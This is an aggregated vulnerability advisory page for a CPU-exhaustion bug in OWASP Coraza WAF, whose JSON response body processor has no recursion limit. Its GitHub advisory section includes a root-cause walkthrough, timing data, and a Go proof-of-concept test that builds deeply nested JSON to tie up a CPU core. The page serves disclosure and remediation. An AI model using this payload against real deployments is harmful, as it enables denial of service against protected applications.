OWASP Coraza WAF: Unbounded recursion in JSON response body processor causes CPU exhaustion

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, ProcessResponse in internal/bodyprocessors/json.go passes the ignoreJSONRecursionLimit value of -1 to readJSON, while the recursive guard only stops at zero. A network attacker who can cause an application protected by Coraza to return deeply nested JSON can make response-body processing perform quadratic work, consuming one CPU core for seconds per response within the default ResponseBodyLimit. Request JSON processing is not affected by this specific path because it uses the configured request recursion limit, and exploitation requires response-body inspection to be enabled. This issue is fixed in version 3.8.0.

Source published

9 Oct 2026 17:39:48 UTC

Source modified

9 Oct 2026 18:02:08 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, ProcessResponse in internal/bodyprocessors/json.go passes the ignoreJSONRecursionLimit value of -1 to readJSON, while the recursive guard only stops at zero. A network attacker who can cause an application protected by Coraza to return deeply nested JSON can make response-body processing perform quadratic work, consuming one CPU core for seconds per response within the default ResponseBodyLimit. Request JSON processing is not affected by this specific path because it uses the configured request recursion limit, and exploitation requires response-body inspection to be enabled. This issue is fixed in version 3.8.0.

Source published

Oct 9, 2026, 5:39:48 PM (timezone not stated)

Source modified

Oct 9, 2026, 6:02:08 PM (timezone not stated)

Observed here

7 Nov 2026 04:31:43 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, ProcessResponse in internal/bodyprocessors/json.go passes the ignoreJSONRecursionLimit value of -1 to readJSON, while the recursive guard only stops at zero. A network attacker who can cause an application protected by Coraza to return deeply nested JSON can make response-body processing perform quadratic work, consuming one CPU core for seconds per response within the default ResponseBodyLimit. Request JSON processing is not affected by this specific path because it uses the configured request recursion limit, and exploitation requires response-body inspection to be enabled. This issue is fixed in version 3.8.0.

Source published

9 Oct 2026 18:17:04 UTC

Source modified

16 Oct 2026 17:16:41 UTC

Observed here

25 Oct 2026 05:17:13 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary The JSON response body processor parses response bodies with no recursion limit. `ProcessResponse` calls `readJSON(ss, ignoreJSONRecursionLimit)`, and that constant is `-1`. The guard in `readItems` only fires on `== 0`, so counting down from `-1` (-2, -3, ...) never reaches it. The guard is effectively dead on the response path. The request path is fine: `ProcessRequest` passes the configured limit (default 1024). There is no equivalent directive or default for responses. Parsing a deeply nested JSON response is CPU-bound and its cost grows quadratically with nesting depth. A 512 KiB response (the default `ResponseBodyLimit`) holds about 87,000 nesting levels and takes ~12 s to process, keeping one core busy the whole time. ### Root cause `internal/bodyprocessors/json.go` ```go const ignoreJSONRecursionLimit = -1 // line 51 func (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error { ... data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1 } func (js *jsonBodyProcessor) ProcessRequest(...) error { ... data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024 } ``` The guard and the decrement: ```go func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error { if maxRecursion == 0 { // line 106 return errors.New("max recursion reached while reading json object") } ... iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126 ``` Note that `ProcessResponse` discards `BodyProcessorOptions` (the parameter is `_`), so even a caller that wanted to set a limit on responses has no way to. ### Why the cost is quadratic Every nesting level re-parses the remaining nested document through `gjson.ForEach`, so total work is O(n²) in the depth. Numbers below were measured on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2 (v3.7.0-55): ``` depth bytes ProcessResponse time 5000 30004 30 ms 10000 60004 119 ms 20000 120004 456 ms 40000 240004 2.18 s 87381 524290 12.09 s ``` Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the full range), which matches quadratic. Roughly 87,000 levels is the most that fits inside the default 512 KiB `ResponseBodyLimit`. ### PoC Save as `internal/bodyprocessors/poc_json_test.go`, then: ``` go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/... ``` ```go package bodyprocessors_test import ( "strings" "testing" "time" "github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes" "github.com/corazawaf/coraza/v3/internal/bodyprocessors" "github.com/corazawaf/coraza/v3/internal/corazawaf" ) func nestedJSON(depth int) string { var sb strings.Builder sb.Grow(depth*6 + 4) for i := 0; i < depth; i++ { sb.WriteString(`{"a":`) } sb.WriteString("null") for i := 0; i < depth; i++ { sb.WriteByte('}') } return sb.String() } func TestPoCJSONResponse(t *testing.T) { proc, _ := bodyprocessors.GetBodyProcessor("json") // Request path is bounded, response path is not. body := nestedJSON(5000) v := corazawaf.NewTransactionVariables() errReq := proc.ProcessRequest(strings.NewReader(body), v, plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024}) errRes := proc.ProcessResponse(strings.NewReader(body), v, plugintypes.BodyProcessorOptions{}) t.Logf("depth=5000 ProcessRequest err=%v", errReq) t.Logf("depth=5000 ProcessResponse err=%v", errRes) // Quadratic scaling on the response path. for _, depth := range []int{5000, 10000, 20000, 40000, 87381} { b := nestedJSON(depth) vv := corazawaf.NewTransactionVariables() start := time.Now() proc.ProcessResponse(strings.NewReader(b), vv, plugintypes.BodyProcessorOptions{}) t.Logf("depth=%-6d bytes=%-7d time=%v", depth, len(b), time.Since(start)) } } ``` Output on the reference machine: ``` depth=5000 ProcessRequest err=max recursion reached while reading json object depth=5000 ProcessResponse err=<nil> depth=5000 bytes=30004 time=30.3ms depth=10000 bytes=60004 time=119.3ms depth=20000 bytes=120004 time=456.1ms depth=40000 bytes=240004 time=2.185s depth=87381 bytes=524290 time=12.085s ``` ### Impact This needs `ResponseBodyAccess` turned on and a backend that returns JSON (`application/json`). Reflection endpoints, download APIs that serve user-supplied content, and JSON error responses that echo back user input are all plausible ways to route a nested body back through the WAF. The work happens in a single goroutine and is CPU-bound: the body is already in memory, so there is no I/O during the parse. Each such request holds one core for its entire run, about 12 s per 512 KiB body at the default limit. N concurrent requests take N cores. The request path has enforced a recursion limit since v3.3.3; responses never have. ### Suggested fix Bound `ProcessResponse` the same way the request path is bounded: add a `ResponseBodyRecursionLimit` directive, or just pass `RequestBodyRecursionLimit` instead of `-1`.

Source published

8 Oct 2026 17:51:42 UTC

Source modified

19 Oct 2026 21:40:39 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE

Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion in github.com/corazawaf/coraza

Source published

19 Oct 2026 21:08:17 UTC

Source modified

19 Oct 2026 21:40:39 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.